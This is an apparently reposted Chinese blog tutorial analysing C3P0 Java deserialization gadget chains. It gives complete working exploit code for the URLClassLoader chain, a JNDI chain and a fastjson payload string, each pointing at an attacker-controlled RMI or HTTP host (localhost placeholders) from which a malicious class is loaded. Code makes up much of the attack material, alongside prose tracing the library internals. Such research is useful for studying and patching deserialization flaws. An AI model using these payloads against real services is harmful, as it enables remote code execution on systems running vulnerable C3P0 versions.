经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » Java相关 » Spring Boot » 查看文章
C3P0反序列化链分析
来源:cnblogs  作者:F12~  时间:2024/4/15 13:49:46  对本文有异议

前言

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。使用它的开源项目有Hibernate、Spring等。之前有接触到过,但是没有深入了解,像之前学二次反序列化时,WrapperConnectionPoolDataSource就是C3P0的

环境搭建

  1. <dependency>
  2. <groupId>com.mchange</groupId>
  3. <artifactId>c3p0</artifactId>
  4. <version>0.9.5.2</version>
  5. </dependency>

URLClassLoader

初学者必学的一条链,先给出完整exp,然后一步步分析

  1. package org.example;
  2. import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
  3. import javax.naming.NamingException;
  4. import javax.naming.Reference;
  5. import javax.naming.Referenceable;
  6. import javax.sql.ConnectionPoolDataSource;
  7. import javax.sql.PooledConnection;
  8. import java.io.*;
  9. import java.lang.reflect.Field;
  10. import java.sql.SQLException;
  11. import java.sql.SQLFeatureNotSupportedException;
  12. import java.util.logging.Logger;
  13. public class urlClassLoader {
  14. public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {
  15. PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
  16. Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
  17. //此类是PoolBackedDataSourceBase抽象类的实现
  18. Field f1 = clazz.getDeclaredField("connectionPoolDataSource");
  19. f1.setAccessible(true);
  20. f1.set(a,new evil());
  21. ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
  22. ser.writeObject(a);
  23. ser.close();
  24. ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
  25. unser.readObject();
  26. unser.close();
  27. }
  28. public static class evil implements ConnectionPoolDataSource, Referenceable {
  29. public PrintWriter getLogWriter () throws SQLException {return null;}
  30. public void setLogWriter ( PrintWriter out ) throws SQLException {}
  31. public void setLoginTimeout ( int seconds ) throws SQLException {}
  32. public int getLoginTimeout () throws SQLException {return 0;}
  33. public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
  34. public PooledConnection getPooledConnection () throws SQLException {return null;}
  35. public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
  36. @Override
  37. public Reference getReference() throws NamingException {
  38. return new Reference("evilref","evilref","http://127.0.0.1:1099/");
  39. }
  40. }
  41. }

先看序列化的过程,进入PoolBackedDataSourceBase这个类看看writeObject

该方法会尝试将当前对象的connectionPoolDataSource属性进行序列化,如果不能序列化便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作,我们跟进ReferenceIndirector.indirectForm方法。

此方法会调用connectionPoolDataSource属性的getReference方法,并用返回结果作为参数实例化一个ReferenceSerialized对象,然后将ReferenceSerialized对象返回,ReferenceSerialized被序列化

这里可以看出reference是可以被我们控制的,接下来看反序列化的操作,readShort获取版本号为1,往下走,
首先获取了反序列化后的对象,然后再判断这个对象o是否实现了IndirectlySerialized接口,在ReferenceIndirector的内部类ReferenceSerialized中实现了这个接口,所以通过判断,调用了o的getObject方法

跟进getObject方法,这里居然还有lookup,但是我们这条链的目标不是它,而且这里的lookup很鸡肋

跟进ReferenceableUtils.referenceToObject,由于ref是在序列化的时候可以控制的参数,那么fClassName自然也是可以控制的属性,下面就调用了URLClassLoader实例化我们的远程恶意类

hex base/WrapperConnectionPoolDataSource

如果不出网,而且是fastjson或jackson的情况,可以用这个Gadget,这条链以前见过,就是学二次反序列化时的C3P0那条链,所以这里就不再讲,可以去看看我讲二次反序列化的那篇文章

JNDI

同样也是在fastjson,jackson环境中可用

  1. package org.example;
  2. import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
  3. import java.beans.PropertyVetoException;
  4. import java.sql.SQLException;
  5. public class JNDI {
  6. public static void main(String[] args) throws PropertyVetoException, SQLException {
  7. JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();
  8. exp.setJndiName("rmi://127.0.0.1:1099/evilref");
  9. exp.setLoginTimeout(1);
  10. }
  11. }
  12. fastjson exp:
  13. String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}"

首先JndiRefConnectionPoolDataSource类中有属性jndiname及其setter方法,其setter方法会调用内部的JndiRefForwardingDataSource对象的setJndiName方法,改变JndiRefForwardingDataSource#jndiname的值,漏洞点在setLoginTimeout处,我们追踪进去,经过几次setLoginTimeout来到这

进入dereference,获取jndiName,然后调用了lookup,达到jndi的效果

原文链接:https://www.cnblogs.com/F12-blog/p/18135789

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号